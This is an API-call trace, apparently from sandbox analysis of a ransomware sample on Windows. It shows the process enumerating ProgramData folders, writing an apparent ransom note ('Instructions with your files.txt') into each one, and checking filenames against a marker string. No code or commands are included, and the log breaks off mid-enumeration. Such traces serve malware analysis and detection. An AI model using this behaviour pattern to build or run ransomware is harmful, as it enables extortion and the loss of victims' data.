[0123.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0123.664] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\.") returned 47
[0123.664] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.664] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\..") returned 48
[0123.664] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0123.664] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\Instructions with your files.txt") returned 78
[0123.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0123.664] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0123.665] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0123.665] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0123.665] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0123.665] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0123.665] CloseHandle (hObject=0x114) returned 1
[0123.665] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0123.665] GetProcessHeap () returned 0x810000
[0123.665] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0123.665] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
[0123.665] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Instructions with your files.txt") returned 73
[0123.666] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Data\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\search\\data\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0123.666] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0123.667] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0123.667] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0123.667] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0123.667] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0123.667] CloseHandle (hObject=0x110) returned 1
[0123.667] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0123.667] GetProcessHeap () returned 0x810000
[0123.667] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0123.667] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0
[0123.667] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Instructions with your files.txt") returned 68
[0123.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Search\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\search\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0123.668] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0123.668] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0123.668] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0123.668] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0123.669] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0123.669] CloseHandle (hObject=0x10c) returned 1
[0123.669] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0123.669] GetProcessHeap () returned 0x810000
[0123.669] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0123.669] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
[0123.669] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures") returned 50
[0123.669] GetProcessHeap () returned 0x810000
[0123.669] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0123.669] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned 52
[0123.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0123.669] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\.") returned 52
[0123.669] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.669] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\..") returned 53
[0123.669] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1
[0123.669] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned 75
[0123.669] StrStrIW (lpFirst="5p5NrGJn0jS HALPmcxz.dat", lpSrch="SDfghjkl") returned 0x0
[0123.669] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1
[0123.669] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned 67
[0123.669] GetProcessHeap () returned 0x810000
[0123.669] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0123.669] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*") returned 69
[0123.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\.") returned 69
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\..") returned 70
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile10.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile10.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile11.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile11.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile12.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile13.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile14.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile15.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile16.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1
[0123.673] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned 82
[0123.673] StrStrIW (lpFirst="usertile17.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.673] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile18.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile19.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile20.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1
[0123.674] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned 82
[0123.674] StrStrIW (lpFirst="usertile21.bmp", lpSrch="SDfghjkl") returned 0x0
[0123.674] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1
